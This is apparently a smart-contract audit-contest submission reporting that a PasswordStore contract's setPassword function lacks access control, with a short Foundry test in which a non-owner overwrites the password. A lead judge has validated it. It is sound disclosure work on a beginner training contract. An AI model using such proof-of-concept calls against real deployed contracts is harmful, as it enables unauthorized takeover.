Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

loss of privileges

Summary

The "setPassword" function lacks proper access control, allowing anyone to call it and overwrite the existing password.

Vulnerability Details

The "setPassword" function lacks proper access control, allowing anyone to call it and overwrite the existing password.

function test_non_owner_setPassword() public {
vm.startPrank(address(1));
string memory attackPassword = "myattackPassword";
passwordStore.setPassword(attackPassword);
vm.startPrank(owner);
string memory password = passwordStore.getPassword();
assertEq(attackPassword , password);
}

Impact

This results in the loss of the old password.

Tools Used

vscode

Recommendations

Recommended to add permissions

Updates

Lead Judging Commences

inallhonesty Lead Judge
about 2 years ago
inallhonesty Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-lacking-access-control

Anyone can call `setPassword` and set a new password contrary to the intended purpose.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.